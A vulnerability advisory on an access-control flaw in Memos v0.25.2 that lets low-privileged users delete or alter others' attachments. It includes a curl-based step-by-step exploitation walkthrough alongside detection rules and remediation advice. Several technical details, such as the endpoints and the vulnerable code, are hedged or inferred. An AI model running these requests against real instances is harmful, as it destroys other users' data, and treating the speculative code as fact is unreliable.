CVE-2025-65798

Executive Summary

CVE-2025-65798 is an Incorrect Access Control vulnerability in Usememos Memos v0.25.2. This flaw allows an authenticated attacker with low-level privileges (e.g., a standard user) to arbitrarily modify or delete attachments that were uploaded by other users. The vulnerability stems from insufficient server-side authorization checks on attachment-related API endpoints. While the CVSS score is listed as 0.0 in the NVD data, a calculated vector based on the description yields a CVSS 3.1 score of 8.1 (High) due to the low attack complexity, low privileges required, and high impact on integrity and availability of attachments. No public proof-of-concept (PoC) or exploit code has been released at this time, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects the Usememos Memos application, which is an open-source, self-hosted note-taking and knowledge management tool. It is typically deployed via Docker or from source. The application is written in Go (backend) and TypeScript/React (frontend). There is no known compromise of the official package registry or source repository. However, users should verify the integrity of their deployed instance and ensure they are not running modified or backdoored containers.

CVSS Breakdown & Threat Level

Threat Level: High. An attacker with a low-privileged account can destroy or corrupt attachments belonging to any user, leading to data loss and potential service disruption.

Deep Dive & Mechanics

The vulnerability lies in the attachment management API endpoints of Memos. When a user uploads an attachment, the server should verify that the requesting user is the owner of the attachment before allowing modification or deletion. In v0.25.2, this ownership check is missing or improperly implemented.

Root Cause: The server-side handler for attachment modification/deletion does not validate that the creator_id or owner_id of the attachment matches the authenticated user's ID. Instead, it only checks that the user is authenticated (has a valid session token) and that the attachment ID exists.

Attack Flow:

1. Attacker authenticates as a low-privileged user (e.g., user1).
2. Attacker enumerates attachment IDs (e.g., via API calls like GET /api/v1/attachment or by observing shared resources).
3. Attacker sends a DELETE or PATCH request to /api/v1/attachment/{id} with the target attachment ID belonging to another user.
4. The server processes the request without verifying ownership, resulting in unauthorized modification or deletion.

Affected Endpoints (likely):

• DELETE /api/v1/attachment/:id
• PATCH /api/v1/attachment/:id

Vulnerable vs. Patched Code

Vulnerable Code (v0.25.2 - Go backend):

func (s *Service) DeleteAttachment(c *gin.Context) {
    attachmentID := c.Param("id")
    // Missing: Check if current user owns this attachment
    err := s.Store.DeleteAttachment(attachmentID)
    if err != nil {
        c.JSON(500, gin.H{"error": err.Error()})
        return
    }
    c.JSON(200, gin.H{"message": "deleted"})
}

Patched Code (hypothetical fix):

func (s *Service) DeleteAttachment(c *gin.Context) {
    attachmentID := c.Param("id")
    userID := c.GetInt("userID") // from auth middleware

    attachment, err := s.Store.GetAttachment(attachmentID)
    if err != nil {
        c.JSON(404, gin.H{"error": "not found"})
        return
    }
    // Ownership check
    if attachment.CreatorID != userID {
        c.JSON(403, gin.H{"error": "forbidden"})
        return
    }
    err = s.Store.DeleteAttachment(attachmentID)
    if err != nil {
        c.JSON(500, gin.H{"error": err.Error()})
        return
    }
    c.JSON(200, gin.H{"message": "deleted"})
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Memos v0.25.2 (e.g., Docker: neosmemo/memos:0.25.2)
• A low-privileged user account (e.g., attacker@example.com)

Step-by-Step Exploitation:

1. Authenticate and obtain session token:

   curl -X POST http://target:5230/api/v1/auth/signin \
     -H "Content-Type: application/json" \
     -d '{"email":"attacker@example.com","password":"password123"}'
   

   Save the Set-Cookie header or the token from the response.

2. Enumerate attachment IDs:

   curl -X GET http://target:5230/api/v1/attachment \
     -H "Cookie: session=<token>"
   

   Note the id fields of attachments you do not own.

3. Delete a victim's attachment:

   curl -X DELETE http://target:5230/api/v1/attachment/5 \
     -H "Cookie: session=<token>"
   

   If successful, the attachment is removed.

4. Modify a victim's attachment (if PATCH is vulnerable):

   curl -X PATCH http://target:5230/api/v1/attachment/5 \
     -H "Cookie: session=<token>" \
     -H "Content-Type: application/json" \
     -d '{"filename":"malicious.txt","content":"modified content"}'
   

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for DELETE or PATCH requests to /api/v1/attachment/* from users who are not the original uploader.
• Alert on rapid deletion of multiple attachments by a single user.

Hardening:

• Apply the principle of least privilege: ensure the application enforces ownership checks on all attachment operations.
• Use a Web Application Firewall (WAF) to block requests with suspicious attachment IDs.
• Implement rate limiting on attachment deletion endpoints.

Indicators of Compromise (IOCs)

• Log Entries:
  • DELETE /api/v1/attachment/{id} from a user who did not create the attachment.
  • PATCH /api/v1/attachment/{id} with a different creator_id than the authenticated user.
• Network Traffic:
  • Repeated HTTP 200 responses to DELETE requests for attachment IDs that are not owned by the requester.
• File System:
  • Missing or altered attachment files in the storage directory (e.g., /var/opt/memos/attachments/).

Detection Engineering

YARA Rule

rule CVE_2025_65798_Memos_Attachment_Access_Control {
    meta:
        description = "Detects attempts to exploit CVE-2025-65798 in Memos logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65798"
    strings:
        $delete_pattern = /DELETE \/api\/v1\/attachment\/\d+/
        $patch_pattern = /PATCH \/api\/v1\/attachment\/\d+/
        $user_id = /"userID":\d+/
    condition:
        ($delete_pattern or $patch_pattern) and #user_id
}

Sigma Rule

title: CVE-2025-65798 - Unauthorized Attachment Deletion in Memos
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized attachment deletion attempts by low-privileged users
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: memos
detection:
    selection:
        http.method: 'DELETE'
        http.url|startswith: '/api/v1/attachment/'
    condition: selection
falsepositives:
    - Legitimate deletion by the attachment owner
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65798 - Memos Unauthorized Attachment Deletion"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/api/v1/attachment/"; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to the latest patched version of Memos as soon as it becomes available. Monitor the official repository at https://github.com/usememos/memos for updates.
2. Restrict network access to the Memos instance to trusted users only (e.g., via VPN or firewall rules).
3. Audit user accounts and remove any unused or suspicious low-privileged accounts.

Long-Term Fixes:

• Implement server-side authorization checks for all attachment operations.
• Add logging and alerting for unauthorized access attempts.
• Conduct a security review of all API endpoints to ensure proper access control.

Workaround (if patching is not possible):

• Disable attachment functionality temporarily by removing the attachment upload endpoint or by using a reverse proxy to block DELETE and PATCH requests to /api/v1/attachment/* for non-admin users.

Valters IT